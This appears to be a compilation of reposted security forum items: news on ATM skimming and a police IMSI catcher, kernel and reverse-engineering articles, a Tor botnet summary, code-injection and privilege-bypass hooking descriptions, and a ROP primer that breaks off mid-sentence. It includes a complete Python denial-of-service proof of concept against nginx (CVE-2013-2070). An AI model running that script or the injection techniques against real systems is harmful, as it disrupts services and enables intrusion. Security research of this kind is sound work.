transaction then proceeds as normal and the ATM returns the card to the customer, who is none the wiser. With Boanta's device installed on the ATM, however, that all changes. Customers insert their cards into the slot long side first, so that the magnetic stripe is parallel to the face of the machine. The device then rotates the card 90 degrees into the ATM, where the legitimate card reader scans the magnetic stripe, then rotates it back out again to return it to the customer. That rotation makes it impossible for an add-on skimmer to read the card, because the magnetic stripe never moves in a straight line until it is secure inside the ATM. While awaiting the outcome of his trial, Valentin pitched his idea to Mircea Tudor and Adrian Bizgar of Bucharest-based technology firm MB Telecom, who helped him to patent his idea and funded development of the SRS device. The design would go on to win the International Press Prize at the 41st International Exhibition of Inventions in Geneva, Switzerland, in April. Boanta, however, wasn't available to accept the award. He's currently just six months into his sentence and won't see freedom for another four and a half years. Still, his partners at MB Telecom say all credit for the SRS design should go to him. "He fully deserves such recognition," Tudor told Reuters. "He's taking part in improving Romania's image abroad and he'll surely join our team when released." MB Telecom is currently finalizing details of the commercial version of the device and expects to bring it to market in the second half of the year. ® Sursa: Jailed Romanian hacker repents, invents ATM security scheme • The Register

[h=1]Poli?ia Român? a cump?rat un sistem portabil de monitorizare a telefoanelor mobile de 2,8 milioane de lei[/h]de Adrian Dumitrache Poli?ia Român? va putea localiza, identifica ?i monitoriza telefoanele mobile în re?elele Vodafone, Orange, Cosmote ?i RCS&RDS, printr-un sistem portabil cump?rat de la firma german? SYBORG Informationssysteme cu 2,8 milioane de lei, potrivit www.e-licitatie.ro. "Sistemul folose?te metoda de simulare a unei celule reale a re?elei de telefonie mobil?. Sistemul are mobilitate total? chiar ?i în timpul func?ion?rii, având posibilitatea de instalare pe un autovehicul. Antenele utilizate în cadrul sistemului sunt ascunse vederii, fiind mascate într-un cadru portbagaj auto de plafon", se precizeaz? în caietul de sarcini al licita?iei pentru achizi?ionarea sistemului. Licita?ia a fost ini?iat? în decembrie 2012 ?i atribuit? trei luni mai târziu singurului ofertant, SYBORG Informationssysteme. Potrivit caietului de sarcini, unitatea central? a sistemului este integrat? într-o valiz? de dimensiune maxim? 60x40x30 centimetri ?i are incluse antene directive, notebook, scanner de re?ea ?i acumulatori. De asemenea, unitatea central? poate fi conectat? la antene omnidirec?ionale prin intermediul unui amplificator de re?ea. Cu ajutorul unit??ii centrale, poli?i?tii vor putea s? monitorizeze comunica?iile GSM ?i UMTS prin crearea de celule virtuale cu parametri similari cu cei ai celulelor re?elei reale. Sistemul permite modificarea puterii semnalului cu care telefoanele ?int? emit, colectarea, înregistrarea ?i memorarea într-o baz? de date a codurilor IMSI ?i IMEI, prcum ?i ora ?i data înregistr?rii. Poli?ia Român? a solicitat, prin caietul de sarcini, ?i instruirea a doi angaja?i, proces care va include 40 de ore de curs teoretice ?i practice. Sursa: Poli?ia Român? a cump?rat un sistem portabil de monitorizare a telefoanelor mobile de 2,8 milioane de lei - Gandul

nginx v1.3.9-1.4.0 DOS POC (CVE-2013-2070) # Exploit Title: nginx v1.3.9-1.4.0 DOS POC (CVE-2013-2070) # Google Dork: CVE-2013-2070 # Date: 16.05.2013 # Exploit Author: Mert SARICA - mert [ . ] sarica [ @ ] gmail [ . ] com - http://www.mertsarica.com # Vendor Homepage: http://nginx.org/ # Software Link: http://nginx.org/download/nginx-1.4.0.tar.gz # Version: 1.3.9-1.4.0 # Tested on: Kali Linux & nginx v1.4.0 # CVE : CVE-2013-2070 import httplib import time import socket import sys import os # Vars & Defs debug = 0 dos_packet = 0xFFFFFFFFFFFFFFEC socket.setdefaulttimeout(1) packet = 0 def chunk(data, chunk_size): chunked = "" chunked += "%s\r\n" % (chunk_size) chunked += "%s\r\n" % (data) chunked += "0\r\n\r\n" return chunked if sys.platform == 'linux-i386' or sys.platform == 'linux2': os.system("clear") elif sys.platform == 'win32': os.system("cls") else: os.system("cls") print "======================================================================" print u"nginx v1.3.9-1.4.0 DOS POC (CVE-2013-2070) [http://www.mertsarica.com]" print "======================================================================" if len(sys.argv) < 2: print "Usage: python nginx_dos.py [target ip]\n" print "Example: python nginx_dos.py 127.0.0.1\n" sys.exit(1) else: host = sys.argv[1].lower() while packet <= 5: body = "Mert SARICA" chunk_size = hex(dos_packet + 1)[3:] chunk_size = ("F" + chunk_size[:len(chunk_size)-1]).upper() if debug: print "data length:", len(body), "chunk size:", chunk_size[:len(chunk_size)] try: con = httplib.HTTPConnection(host) url = "/mertsarica.php" con.putrequest('POST', url) con.putheader('User-Agent', "curl/7.30.0") con.putheader('Accept', "*/*") con.putheader('Transfer-Encoding', 'chunked') con.putheader('Content-Type', "application/x-www-form-urlencoded") con.endheaders() con.send(chunk(body, chunk_size[:len(chunk_size)])) except: print "Connection error!" sys.exit(1) try: resp = con.getresponse() print(resp.status, resp.reason) except: print " [*] Knock knock, is anybody there ? (" + str(packet) + "/5)" packet = packet + 1 con.close() print "[+] Done!" Sursa: nginx 1.3.9-1.4.0 DoS PoC

[h=2]SyScan 2013, Bochspwn paper and slides[/h](Collaborative post by Mateusz “j00ru” Jurczyk and Gynvael Coldwind) A few days ago we (Gynvael and I) gave a talk during the SyScan’13 conference in the fine city of Singapore, and as promised (though with a slight delay), today we are publishing both the slide deck and a white paper discussing memory access pattern analysis – a technique we recently employed with success to discover around 50 double-fetch vulnerabilities in Windows kernel and related drivers (Elevation of Privileges and Denial of Service class; see Microsoft Security Bulletins MS13-016, MS13-017, MS13-031 and MS13-036 released in February and April this year. Also, stay tuned for more security patches in May and June). In our SyScan presentation, we explained the concept of kernel race conditions in interacting with user-mode memory, gave a brief rundown on how they can be identified by using CPU-level instrumentation of an operating system session, and later focused on how they can be successfully exploited with the help of several generic techniques (on the example of three Windows vulnerabilities discovered by the Bochspwn project). While we only had the time to go through a single case study (the CVE-2013-1254 vulnerability in win32k!SfnINOUTSTYLECHANGE), both slides and the paper contain a detailed analysis of another local privilege escalation: CVE-2013-1278 in nt!ApphelpCacheLookupEntry, and an amusing case of a double fetch behavior (it is not clear if it can be classified as a bug) found in the default kernel implementation of the standard nt!memcmp function, as a bonus. We hope you will enjoy both the slides and whitepaper – considering the amount of time we have dedicated to the research, we would really appreciate your feedback. Download: Slides: “Bochspwn: Exploiting Kernel Race Conditions Found via Memory Access Patterns” (3.1MB, PDF) Paper: “Identifying and Exploiting Windows Kernel Race Conditions via Memory Access Patterns” (1.0MB, PDF) Please note that we are not releasing the Bochspwn project at this time – we are planning to open-source it later this year. On the other hand, the demo videos for the CVE-2013-1254 and CVE-2013-1278 vulnerabilities shown during the talk are now available online: The SyScan event itself was really fun – the speaker line-up was one of the best ones we have seen this year, ensuring high technical quality of the talks (which they were in fact quite inspiring), with nothing lacking on the organizational side. We were also positively surprised by the city-state of Singapore – it’s really a modern, clean and friendly place! We had a great time there and hope to visit it again soon Sursa: SyScan 2013, Bochspwn paper and slides | j00ru//vx tech blog

[h=2]FindMyHash[/h] Often in penetration tests we discover password hashes. In this situation every penetration tester use the password cracking tool of his convenience ( like john the ripper) in order to crack the hashes offline and to escalate privileges. The sooner that the hash cracks the better for the results of the engagement as the penetration tester will have more time to search on the system for other important things while he has a valid password. For that reason a script created that allows the penetration tester to crack hashes using free online services or even Google if the hash is common. The usage of the script is very simple and it can be seen below: FindMyHash Script in action This is definitely something that every penetration tester should check before he starts the process of cracking a hash. Author: https://twitter.com/laXmarcaellugar Email: bloglaxmarcaellugar@gmail.com Script: findmyhash - Python script to crack hashes using online services - Google Project Hosting Sursa: FindMyHash | Penetration Testing Lab

Visual DuxDebugger is a 64-bit debugger disassembler for Windows, especially useful when source code is unavailable. The user interface is very intuitive so it makes very simple any task in reverse engineering, you can edit code, registers, and memory. Visual DuxDebugger provides wide information about the process being debugged, showing all loaded modules with all exported functions, call stack, threads and much more. The main difference with others debuggers is that Visual DuxDebugger can debug child-processes and multiple-processes. Software Reverse Engineering is commonly used: · As a learning tool to understand undocumented APIs. · As a way to make new compatible products. · For making software interoperate more effectively. · To bridge different operating systems or databases. · To analyze possible spyware / malware. · To uncover and exploit vulnerabilities. · To audit software. · To fix complex bugs. · For litigation support. Download: http://www.duxcore.com/index.php/prod/visual-duxdebugger/overview

[h=1][Kernel Hack] Hooking SeSinglePrivilegeCheck to bypass privilege checks[/h] [h=3]zwclose7[/h] Recently, I written a driver that hook the SeSinglePrivilege function. SeSinglePrivilegeCheck is a kernel mode function used to perform privilege checks. Some functions, such as NtLoadDriver and NtShutdownSystem, use the SeSinglePrivilegeCheck function to check for required privilege. For example, NtLoadDriver will use SeSinglePrivilegeCheck function to check for the SeLoadDriverPrivilege, and will return STATUS_PRIVILEGE_NOT_HELD if the caller do not have the SeLoadDriverPrivilege enabled. The NtShutdownSystem function also use SeSinglePrivilegeCheck function to check for SeShutdownPrivilege, and will return STATUS_PRIVILEGE_NOT_HELD if the caller do not have the SeShutdownPrivilege. Privilege checks are only performed if the caller is from user mode. If the caller is from kernel mode, the system will not perform the privilege checks. My hook driver will hook the SeSinglePrivilegeCheck function to cause the function to always return TRUE to the caller. By hooking the SeSinglePrivilegeCheck function, all privilege checks will be bypassed. In the following video, I will test my hook driver on a virtual machine with Windows XP installed. I will use the WinAPIOverride to call the NtShutdownSystem function in the explorer.exe process. The first call failed with STATUS_PRIVILEGE_NOT_HELD because the explorer.exe process do not have the SeShutdownPrivilege enabled. After loading the hook driver, the SeSinglePrivilegeCheck function will be hooked, and all privilege checks will be bypassed. The second NtShutdownSystem call succeed even the caller do not have the SeShutdownPrivilege enabled because the privilege check has been bypassed, and the NtShutdownSystem function successfully shutted down the virtual machine. Download src: http://www.rohitab.com/discuss/index.php?app=core&module=attach&section=attach&attach_id=3889 Sursa: [Kernel Hack] Hooking SeSinglePrivilegeCheck to bypass privilege checks - rohitab.com - Forums

[h=1]Calling ShellExecute in codecave[/h][h=3]zwclose7[/h]This program inject a codecave that call ShellExecute function to run executable files or open websites into another process. 1) Parse the PID and file name from command line. 2) Enable SeDebugPrivilege using RtlAdjustPrivilege function. 3) Open the target process handle using NtOpenProcess function. 4) Allocate memory in the target process using VirtualAllocEx function. 5) Write the codecave into the target process using NtWriteVirtualMemory function. 6) Create a remote thread in the target process to execute the codecave using RtlCreateUserThread function. 7) Wait for the remote thread to terminate. 8) The codecave call LoadLibrary function to load shell32.dll, and then call GetProcAddress function to get the address of the ShellExecute function. 9) The codecave call ShellExecute function to run the executable file or open a new website. 10) After ShellExecute returns, the codecave call FreeLibrary function to unload shell32.dll. 11) After FreeLibrary returns, the thread terminates. 12) Close the thread handle using NtClose function. 13) Free the allocated memory using VirtualFreeEx function. 14) Close the process handle using NtClose function. 15) Exit Native API functions used: 1) RtlAdjustPrivilege 2) NtOpenProcess 3) NtWriteVirtualMemory 4) RtlCreateUserThread 5) NtWaitForSingleObject 6) NtClose This video show you how the injector works: http://www.youtube.com/watch?v=vQ0FP2uyJHI&feature=player_embedded Download src: http://www.rohitab.com/discuss/index.php?app=core&module=attach&section=attach&attach_id=3887 Sursa: Calling ShellExecute in codecave - rohitab.com - Forums

Tor Based Botnets Description: In this video Suriya Prakash shows us a demo on the TOR Based botnet. It is all about POC of TOR botnet. You will learn how to configure and run the TOR based botnet. Blog :- Tor Based Botnets @Defcon Bangalore (DC9180) | Suriya's Blog Security researchers have uncovered a new breed of botnets which rely on the functionality offered by the Tor (The Onion Router) anonymity network. A few days ago, at the DefCon Bangalore security conference – 17-year-old researcher Suriya Prakash presented his findings on how botnets are starting to rely more and more on Tor to hide their traces. “They work like all other botnets, but are hidden behind the TOR network and run as a hidden service with .onion domains (many sites like WikiLeaks have mirror sites in the TOR network, or search engines like duckduckgo, and many other illegal sites that cannot exist in the public internet),” Suriya told Softpedia. “You can set it up just like a normal web server but bind it to the port from which TOR hidden service is running and hence your botnet will run behind the TOR network and it will not be possible to trace the C&C server,” he added. “The bots themselves should have an instance of TOR (because only computers in the TOR network can communicate with hidden services servers) and will communicate over the TOR network to send data and receive commands from the server.” The expert highlighted the fact that such botnets could not be disrupted such as the classic ones by revoking domains, banning IP addresses or by requesting the host to take down the website. News Source : - Researchers Find Botnet C&C Servers Hidden in Tor Anonymity Network Sursa: Tor Based Botnets

[h=1]The Sysenter Instruction Internals[/h]Dejan Lukan May 16, 2013 Introduction In the previous article we’ve seen that whether we’re using the int 0x2e interrupt or sysenter instruction, the same method in kernel is being used. We also identified that the KiSystemService is being called in both cases. In this article, we’ll take a look at the details of how this actually happens. Whenever we use the 0x2e interrupt or a sysenter instruction, the system service number is being used to determine which system call will be invoked. We’ve already seen that the system service number is being passed in an EAX register, which is a 32-bit register on IA-32 machines. However, it isn’t immediately clear how that value is later being used. The first thing that comes to mind is that it’s just an index into some table, which holds the pointers to system routines that will be invoked. This is pretty close to how the value is actually being used, but we should probably mention that 32-bits are not used as an index, because we would have to have a 4GB-big table of pointers or a multiple level table, which is impractical and isn’t needed. The system service number is comprised of the following parts: bits 0-11: the number of the system service to call bits 12-13: used service descriptor table bits 14-31: not used We can see that only the lower 12-bits are used as an index into the table, which is 4096 bytes in size. But there are also 2 bits (from 12-13) that are used to select the appropriate service descriptor table, which means that we can have at most 4 service descriptor tables. In Windows, the SSDT (System Service Dispatch Table) is a table that points to kernel functions that are handled in ntoskrnl.exe. The ntoskrnl.exe is responsible for various tasks, like hardware virtualization, process and memory management, cache managing, process scheduling, etc. [5] In Windows systems, only two tables are used and they are named KeServiceDescriptorTable and KeServiceDescriptorTableShadow. On the picture below, we can see the address and the first element of both tables in memory. Both of these tables contain SST (System Service Tables) structures that have the following elements (summarized from [4]): ServiceTable: pointer to the SSDT array of addresses that point to kernel functions CounterTable: not used ServiceLimit: number of elements in SSDT array ArgumentTable: pointer to the array of arguments SSPT (System Service Parameter Table) The picture below shows the structures of SSTs in both tables: On the picture above, we can see the first SST of the KeServiceDescriptorTable, which is 16 bytes long. This is the SST that points to the SSDT that contains the Windows core functions. The values of the SST are as follows: ServiceTable: 80501b8c (pointer to KiServiceTable) CounterTable: not used ServiceLimit: 0x11c (hex) = 286 (dec) ArgumentTable: 80502000 (pointer to KiArgumentTable) The KeServiceDescriptorTableShadow contains two SSTs which occupy the first 32 bytes. We can see that the first SST is the same as the one present in the KeServiceDescriptorTable table, while the second is used to point to the functions in the win32k.sys kernel driver, which takes care of Windows graphical user interface. Let’s present the fields of this SST: ServiceTable: bf99e900 (pointer to W32pServiceTable) CounterTable: not used ServiceLimit: 0x29b (hex) = 667 (dec) ArgumentTable: bf99f610 (pointer to W32pArgumentTable) Let’s summarize what we’ve just done. The KeServiceDescriptorTable table is referenced if the 12-13 bits in the system service number is set to 0×00, while the KeServiceDescriptorTableShadow is referenced if the 12-13 bits are set to 0×01. The other two values 0×10 and 0×11 are currently not being used. This means that the value in the EAX register, which is the system service number, can hold the following values (presenting the 16-bit values): 0000xxxx xxxxxxxx: used by KeServiceDescriptorTable, where the x’s can be 0 or 1, which further implies that the first table is used if the system service numbers are from 0×0 – 0xFFF. 0001yyyy yyyyyyyy: used by KeServiceDescriptorTableShadow, where y’s can be 0 or 1, which further implies that the second table is used if the system service numbers are from 0×1000 – 0x1FFF. This means that the system service numbers in EAX register can only be in the range of 0×0000 – 0x1FFFF, and all other values are invalid. To dump the Windows core functions from the KiServiceTable table, we can use the Windbg “dps KiServiceTable” command as follows (note that only the first part of the functions is presented): Let’s also dump the first part of the functions contained in the W32pServiceTable table. This can be seen below, where we used the “dps W32pServiceTable” command to display the functions: Did you notice that the KiServiceTable contains core Windows functions, while the W32pServiceTable table contains the graphical functions as we already mentioned? The above outputs confirm that. Presenting the Example Below we can see the example we’ll be using in this part of the article. The example is simply calling the ZwQuerySystemInformation function directly from the ntdll.dll library. We can’t call the function directly, which is why we must first load the ntdll.dll library and then get the address of the ZwQuerySystemInformation function. We get back the address in memory where the function is located, so we must apply the function prototype in order to be able to call the function. What the program actually does is detect whether the system debugger is currently debugging the operating system or not. #include "stdafx.h" #include <stdio.h> #include <windows.h> #include <Winternl.h> int _tmain(int argc, _TCHAR* argv[]) { __asm { int 3 } typedef long NTSTATUS; #define STATUS_SUCCESS ((NTSTATUS)0L) HANDLE hProcess = GetCurrentProcess(); typedef struct _SYSTEM_KERNEL_DEBUGGER_INFORMATION { BOOLEAN DebuggerEnabled; BOOLEAN DebuggerNotPresent; } SYSTEM_KERNEL_DEBUGGER_INFORMATION, *PSYSTEM_KERNEL_DEBUGGER_INFORMATION; enum SYSTEM_INFORMATION_CLASS { SystemKernelDebuggerInformation = 35 }; typedef NTSTATUS (__stdcall *ZW_QUERY_SYSTEM_INFORMATION)(IN SYSTEM_INFORMATION_CLASS SystemInformationClass, IN OUT PVOID SystemInformation, IN ULONG SystemInformationLength, OUT PULONG ReturnLength); ZW_QUERY_SYSTEM_INFORMATION ZwQuerySystemInformation; SYSTEM_KERNEL_DEBUGGER_INFORMATION Info; /* load the ntdll.dll */ HMODULE hModule = LoadLibrary(_T("ntdll.dll")); ZwQuerySystemInformation = (ZW_QUERY_SYSTEM_INFORMATION)GetProcAddress(hModule, "ZwQuerySystemInformation"); if(ZwQuerySystemInformation == NULL) { printf("Error: could not find the function ZwQuerySystemInformation in library ntdll.dll."); exit(-1); } printf("ZwQuerySystemInformation is located at 0x%08x in ntdll.dll.\n", (unsigned int)ZwQuerySystemInformation); if (STATUS_SUCCESS == ZwQuerySystemInformation(SystemKernelDebuggerInformation, &Info, sizeof(Info), NULL)) { if (Info.DebuggerEnabled && !Info.DebuggerNotPresent) { printf("System debugger is present."); } else { printf("System debugger is not present."); } } /* wait */ getchar(); return 0; } While running the program under Windbg kernel debugger, we’ll be presented with the following output from the program: We can see that the program correctly identified that the system debugger is present. The picture below presents the disassembled instruction of the ZwQuerySystemInformation function: We can see that the ZwQuerySystemInformation function implementation in ntdll.dll library is just a routine that calls into the kernel and doesn’t actually provide the service itself. In the code above, we’re storing the 0xAD hexadecimal number into the EAX register, the system service number we’ve been talking about in the article. Since the 0xAD number is in range of 0×000-0xFFF, we’re effectively using the KeServiceDescriptorTable table to get all the information that we need to call the kernel function. Let’s first take a look at the address that is loaded into the EDX register: VIEW RCE COURSE In the code above, we’re reading the address 0x7c90e510 at the memory of the EDX register and calling it. The 0x7c90e510 address is the address of the KiFastSystemCall function as we can see in the output below: The KiFastSystemCall is executing the sysenter instruction, which should call the appropriate system function in the kernel. We already know that when we execute the sysenter instruction, the KiFastCallEntry function is called, which is why we need to set a breakpoint on that function as follows: After that we can run the program with the g command and the function will be hit as shown below: Let’s disassemble the whole KiFastCallEntry function to figure out what the function does. The disassembled instructions can be seen below: kd> u KiFastCallEntry l100 nt!KiFastCallEntry: 8053d600 b923000000 mov ecx,23h 8053d605 6a30 push 30h 8053d607 0fa1 pop fs 8053d609 8ed9 mov ds,cx 8053d60b 8ec1 mov es,cx 8053d60d 8b0d40f0dfff mov ecx,dword ptr ds:[0FFDFF040h] 8053d613 8b6104 mov esp,dword ptr [ecx+4] 8053d616 6a23 push 23h 8053d618 52 push edx 8053d619 9c pushfd 8053d61a 6a02 push 2 8053d61c 83c208 add edx,8 8053d61f 9d popfd 8053d620 804c240102 or byte ptr [esp+1],2 8053d625 6a1b push 1Bh 8053d627 ff350403dfff push dword ptr ds:[0FFDF0304h] 8053d62d 6a00 push 0 8053d62f 55 push ebp 8053d630 53 push ebx 8053d631 56 push esi 8053d632 57 push edi 8053d633 8b1d1cf0dfff mov ebx,dword ptr ds:[0FFDFF01Ch] 8053d639 6a3b push 3Bh 8053d63b 8bb324010000 mov esi,dword ptr [ebx+124h] 8053d641 ff33 push dword ptr [ebx] 8053d643 c703ffffffff mov dword ptr [ebx],0FFFFFFFFh 8053d649 8b6e18 mov ebp,dword ptr [esi+18h] 8053d64c 6a01 push 1 8053d64e 83ec48 sub esp,48h 8053d651 81ed9c020000 sub ebp,29Ch 8053d657 c6864001000001 mov byte ptr [esi+140h],1 8053d65e 3bec cmp ebp,esp 8053d660 759a jne nt!KiFastCallEntry2+0x47 (8053d5fc) 8053d662 83652c00 and dword ptr [ebp+2Ch],0 8053d666 462cff test byte ptr [esi+2Ch],0FFh 8053d66a 89ae34010000 mov dword ptr [esi+134h],ebp 8053d670 0f854afeffff jne nt!Dr_FastCallDrSave (8053d4c0) 8053d676 8b5d60 mov ebx,dword ptr [ebp+60h] 8053d679 8b7d68 mov edi,dword ptr [ebp+68h] 8053d67c 89550c mov dword ptr [ebp+0Ch],edx 8053d67f c74508000ddbba mov dword ptr [ebp+8],0BADB0D00h 8053d686 895d00 mov dword ptr [ebp],ebx 8053d689 897d04 mov dword ptr [ebp+4],edi 8053d68c fb sti 8053d68d 8bf8 mov edi,eax 8053d68f c1ef08 shr edi,8 8053d692 83e730 and edi,30h 8053d695 8bcf mov ecx,edi 8053d697 03bee0000000 add edi,dword ptr [esi+0E0h] 8053d69d 8bd8 mov ebx,eax 8053d69f 25ff0f0000 and eax,0FFFh 8053d6a4 3b4708 cmp eax,dword ptr [edi+8] 8053d6a7 0f8345fdffff jae nt!KiBBTUnexpectedRange (8053d3f2) 8053d6ad 83f910 cmp ecx,10h 8053d6b0 751a jne nt!KiFastCallEntry+0xcc (8053d6cc) 8053d6b2 8b0d18f0dfff mov ecx,dword ptr ds:[0FFDFF018h] 8053d6b8 33db xor ebx,ebx 8053d6ba 0b99700f0000 or ebx,dword ptr [ecx+0F70h] 8053d6c0 740a je nt!KiFastCallEntry+0xcc (8053d6cc) 8053d6c2 52 push edx 8053d6c3 50 push eax 8053d6c4 ff15e4305580 call dword ptr [nt!KeGdiFlushUserBatch (805530e4)] 8053d6ca 58 pop eax 8053d6cb 5a pop edx 8053d6cc ff0538f6dfff inc dword ptr ds:[0FFDFF638h] 8053d6d2 8bf2 mov esi,edx 8053d6d4 8b5f0c mov ebx,dword ptr [edi+0Ch] 8053d6d7 33c9 xor ecx,ecx 8053d6d9 8a0c18 mov cl,byte ptr [eax+ebx] 8053d6dc 8b3f mov edi,dword ptr [edi] 8053d6de 8b1c87 mov ebx,dword ptr [edi+eax*4] 8053d6e1 2be1 sub esp,ecx 8053d6e3 c1e902 shr ecx,2 8053d6e6 8bfc mov edi,esp 8053d6e8 3b35d48a5580 cmp esi,dword ptr [nt!MmUserProbeAddress (80558ad4)] 8053d6ee 0f83a8010000 jae nt!KiSystemCallExit2+0x9f (8053d89c) 8053d6f4 f3a5 rep movs dword ptr es:[edi],dword ptr [esi] 8053d6f6 ffd3 call ebx 8053d6f8 8be5 mov esp,ebp 8053d6fa 8b0d24f1dfff mov ecx,dword ptr ds:[0FFDFF124h] 8053d700 8b553c mov edx,dword ptr [ebp+3Ch] 8053d703 899134010000 mov dword ptr [ecx+134h],edx Let’s take a look at the first instruction in the KiFastCallEntry function where the value in register EAX is being used, which means that the system service number is being used to do something. Those instructions can be seen below: 8053d68d 8bf8 mov edi,eax 8053d68f c1ef08 shr edi,8 8053d692 83e730 and edi,30h 8053d695 8bcf mov ecx,edi At first, those instructions may seem weird, but they soon start to make a lot of sense. All of the operations can be seen on the picture below. We start with a whole system service number that is stored in the EAX register and then moved to the EDI register. This can be seen on the first part of the picture where the lower 12 bits is the actual system service number and the middle two bits determine the SSDT table to be used, while the upper 18 bits are not used. The shr instruction moves all the bits in the EDI register to the right by 8. This is seen on the middle part of the picture where the lower 4 bits are used to represent the now-corrupted system service number, and the middle two bits are still the SSDT number. The upper 26 bits are not used. The next and instruction nulls the lower four bits, thus leaving only the middle two bits unaltered. At the end of the above code, the SSDT number is stored in the 4-5 bit of the ECX register. Since we’re passing the system service number 0xAD in the EAX register, we should really set a conditional breakpoint in WinDbg, because otherwise we won’t be able to manage the execution the way we want. This is because the KiFastCallEntry function is called so many times by the kernel itself that it doesn’t make sense to manually check whether the EAX register contains the right system service number. We should set the conditional breakpoint on the 0x8053d68d address and check whether the value in the EAX register is 0xAD (our system service number). We can set the conditional breakpoint like this: kd> bp 8053d68d "j @eax = 0x000000ad '';'gc'" kd> bl 0 e 8053d68d 0001 (0001) nt!KiFastCallEntry+0x8d "j @eax = 0x000000ad '';'gc'" After that we should start the program normally and observe what happens. The execution should take considerably more time, since WinDbg must compare the value in the EAX register every time it passed that code point, which happens a lot. Let’s take a look at an example at a point where it hits the breakpoint, which means that the value in the EAX register should be set to 0xAD: kd> g nt!KiFastCallEntry+0x8d: 8053d6dd 8bf8 mov edi,eax kd> r eax, ecx, edi eax=000000ad ecx=80042000 edi=7c90e514 kd> p nt!KiFastCallEntry+0x8f: 8053d6df c1ef08 shr edi,8 kd> r eax, ecx, edi eax=000000ad ecx=80042000 edi=000000ad kd> p nt!KiFastCallEntry+0x92: 8053d6e2 83e730 and edi,30h kd> r eax, ecx, edi eax=000000ad ecx=80042000 edi=00000000 kd> p nt!KiFastCallEntry+0x95: 8053d6e5 8bcf mov ecx,edi The first number in EAX register is 0xad (10101101), which we’re shifting to the right for 8 bits. This makes a number 0×0, which is then later AND-ed with the 0×30. The transformations result in the number 0×000000. Since we’ve just calculated the value stored in the ECX register, it’s advisable that we continue the code observation by looking at the instructions that use the value in the ECX register. We won’t do that now since the article might get too long, but you get the picture. Conclusion In this article we’ve seen the internals of what happens when the sysenter instruction is called. We could go a lot deeper, but I didn’t want to make the article too long. The most important things to remember are how the system service number is calculated and how the service is called. References: [1] Shifting yourself to space, accessible at sysenter | Shifting yourself to space. [2] Manual inspection of service dispatch table (SSDT) for hook detection, accessible at DDK / Windbg / IDA Pro: Manual inspection of service dispatch table (SSDT) for hook detection. [3] Hunting rootkits with Windbg, accessible at www.reconstructer.org/…/Hunting%20rootkits%20with%20Windbg.pdf. [4] BlackEnergy Version 2 Rootkit Analysis – SecuraBit, accessible at www.securabit.com/wp…/Rootkit-Analysis-Hiding-SSDT-Hooks1.pdf. [5] ntoskrnl.exe, accessible at ntoskrnl.exe - Wikipedia, the free encyclopedia. Sursa: InfoSec Institute Resources – The Sysenter Instruction Internals

[h=1]Code Injection Techniques[/h]ViperEye May 02, 2013 DLL Injection using QueueUserAPC We begin by creating a process using CreateProcess, which is the where we are trying to inject the code into: PROCESS_INFORMATION pi; STARTUPINFOA Startup; ZeroMemory(&Startup, sizeof(Startup)); ZeroMemory(?, sizeof(pi)); CreateProcessA("C:\\Windows\\notepad.exe" NULL, NULL, NULL, NULL, CREATE_SUSPENDED, NULL, NULL, &Startup, ?); Once the process is created, OpenProcess is called with the following arguments: OpenProcess(PROCESS_ALL_ACCESS,FALSE, /*ProcessId*/ 348); [TABLE] [TR] [TD=class: gutter][/TD] [TD=class: code][/TD] [/TR] [/TABLE] Once the process is opened with all access, memory can be allocated to it using VirtualAllocEx(). ARTICOL COMPLET: http://resources.infosecinstitute.com/code-injection-techniques/

ropasaurusrex: a primer on return-oriented programming One of the worst feelings when playing a capture-the-flag challenge is the hindsight problem. You spend a few hours on a level—nothing like the amount of time I spent on cnot, not by a fraction—and realize that it was actually pretty easy. But also a brainfuck. That's what ROP's all about, after all! Anyway, even though I spent a lot of time working on the wrong solution (specifically, I didn't think to bypass ASLR for quite awhile), the process we took of completing the level first without, then with ASLR, is actually a good way to show it, so I'll take the same route on this post. Before I say anything else, I have to thank HikingPete for being my wingman on this one. Thanks to him, we solved this puzzle much more quickly and, for a short time, were in 3rd place worldwide! Coincidentally, I've been meaning to write a post on ROP for some time now. I even wrote a vulnerable demo program that I was going to base this on! But, since PlaidCTF gave us this challenge, I thought I'd talk about it instead! This isn't just a writeup, this is designed to be a fairly in-depth primer on return-oriented programming! If you're more interested in the process of solving a CTF level, have a look at my writeup of cnot. What the heck is ROP? ROP—return-oriented programming—is a modern name for a classic exploit called "return into libc". The idea is that you found an overflow or other type of vulnerability in a program that lets you take control, but you have no reliable way get your code into executable memory (DEP, or data execution prevention, means that you can't run code from anywhere you want anymore). With ROP, you can pick and choose pieces of code that are already in sections executable memory and followed by a 'return'. Sometimes those pieces are simple, and sometimes they're complicated. In this exercise, we only need the simple stuff, thankfully! But, we're getting ahead of ourselves. Let's first learn a little more about the stack! I'm not going to spend a ton of time explaining the stack, so if this is unclear, please check out my assembly tutorial. The stack I'm sure you've heard of the stack before. Stack overflows? Smashing the stack? But what's it actually mean? If you already know, feel free to treat this as a quick primer, or to just skip right to the next section. Up to you! The simple idea is, let's say function A() calls function B() with two parameters, 1 and 2. Then B() calls C() with two parameters, 3 and 4. When you're in C(), the stack looks like this: +----------------------+ | ... | (higher addresses) +----------------------+ +----------------------+ <-- start of 'A's stack frame | [return address] | <-- address of whatever called 'A' +----------------------+ | [frame pointer] | +----------------------+ | [local variables] | +----------------------+ +----------------------+ <-- start of 'B's stack frame | 2 (parameter)| +----------------------+ | 1 (parameter)| +----------------------+ | [return address] | <-- the address that 'B' returns to +----------------------+ | [frame pointer] | +----------------------+ | [local variables] | +----------------------+ +----------------------+ <-- start of 'C's stack frame | 4 (parameter)| +----------------------+ | 3 (parameter)| +----------------------+ | [return address] | <-- the address that 'C' returns to +----------------------+ +----------------------+ | ... | (lower addresses) +----------------------+ This is quite a mouthful (eyeful?) if you don't live and breathe all the time at this depth, so let me explain a bit. Every time you call a function, a new "stack frame" is built. A "frame" is simply some memory that the function allocates for itself on the stack. In fact, it doesn't even allocate it, it just adds stuff to the end and updates the esp register so any functions it calls know where its own stack frame needs to start (esp, the stack pointer, is basically a variable). This stack frame holds the context for the current function, and lets you easily a) build frames for new functions being called, and return to previous frames (i.e., return from functions). esp (the stack pointer) moves up and down, but always points to the top of the stack (the lowest address). Have you ever wondered where a function's local variables go when you call another function (or, better yet, you call the same function again recursively)? Of course not! But if you did, now you'd know: they wind up in an old stack frame that we return to later! Now, let's look at what's stored on the stack, in the order it gets pushed (note that, confusingly, you can draw a stack either way; in this document, the stack grows from top to bottom, so the older/callers are on top and the newer/callees are on the bottom): Parameters: The parameters that were passed into the function by the caller—these are extremely important with ROP. Return address: Every function needs to know where to go when it's done. When you call a function, the address of the instruction right after the call is pushed onto the stack prior to entering the new function. When you 